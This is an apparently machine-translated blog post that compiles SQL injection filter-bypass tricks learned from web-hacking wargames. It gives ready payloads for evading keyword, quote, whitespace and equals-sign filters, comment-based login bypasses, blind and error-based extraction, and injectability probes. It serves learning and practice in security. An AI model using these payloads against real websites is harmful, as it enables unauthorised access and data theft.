Summary of SQL Injection Bypass Techniques
A collection of SQL Injection bypass techniques learned while solving web hacking wargames.
This post was machine-translated from Korean by AI. Some expressions may differ from the original.
Read the original (Korean)I intend to summarize the bypass techniques I've realized (?) while solving web hacking wargames so far.
Since I am writing everything manually based on memory, there might be some missing parts.
I will add and edit as I remember them.
- or, and
: ||, &&
- String Filtering (Ex. preg_match - admin, etc.)
: admin -> 0x61646d696e, 0b0110000101100100011011010110100101101110, char(0x61, 0x64, 0x6d, 0x69, 0x6e)
- In the case of char(), other base systems can also be used
- '='(Equal) Filtering during Blind SQL Injection
: substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')
- substr filtering
: right(left('abc',1),1), id>0x41444d4941 ('ADMIN' has a larger hex value than 'ADMIA')
- ereg, eregi
: If 'admin' is filtered, it can be bypassed using 'AdmIN', etc.
: If %00 is inserted at the very beginning, the subsequent characters are not filtered
- replace, replaceAll
: If 'admin' is filtered, it can be bypassed using 'adadminmin', etc.
- numeric character filtering
: 0 -> '!'='@'
: 1 -> '!'='!', etc. Numbers can be expressed using true, false, and formulas
- White Space Filtering (%20)
: %20 -> %0a %0b %0c %0d %09
- Single Quote Filtering (%27)
: Sometimes resolved by using Double quotes inside Single quotes
: Under special conditions, filtering can be bypassed by creating a Multibyte character with %bf%27 (though this rarely happens)
: If the '' backslash character is not filtered, bypass is possible in the following situation
ex. select test1 from test where id='' and pw='or 1#
-> parameter : id=&pw=%20or%201%23
- Comments
: #, --,;%00, /* */
- SQL Injection using Comments
: The scope of the '#' comment is 1 line. Since the line separator is %0a, SQL Injection can be performed as shown in the example below.
- select test1 from test where id='abc'# and pw='%0aor id='admin'%23
: /* */
- select test1 from test where id='abc'/* and pw=''*/or id='admin'%23
- When Blind SQL Injection subquery returns multiple rows but a WHERE clause cannot be used
: max(column_name), min(column_name), group_concat(column_name)
- When you need to find out table names or column names
: select test1 from test where id='admin' and pw='1234' procedure analyse();
- Can be used with limit 2,1, etc., to extract necessary column names line by line
- When performing Error Based SQL Injection
: Doing 0xfffffffffffff*0xfffffffffffff causes an Integer Overflow error
- MultiByte Character SQL Injection
: When the character in the 'test1' field is a multibyte character (ex. UTF-32, etc.) rather than ASCII code, SQL Injection can be performed in the following way.
- substr(hex(test1),1,1)=0x41
ā» A way to determine if it is a MultiByte Character is to narrow down the scope using '>' and '<'. If the character range falls between 20 and 21, for example (ASCII character ranges do not result in decimals), it can be inferred to be a multibyte character.
- When checking if SQL Injection works
: Check if using ' (single quote) causes an error
: Check if using ' and '1'='1 outputs normally, while ' and '1'='2 does not output anything
: Check if using ' or '1'='1 outputs normally
: Check if a numeric column (ex. idx=23001) outputs normally when input as idx=23002-1
: Check if using '||' outputs normally (Restrict: When DB is Oracle and data type is declared as Varchar)
: When using comments, use #(%23), -- (--%20), %0a
Comments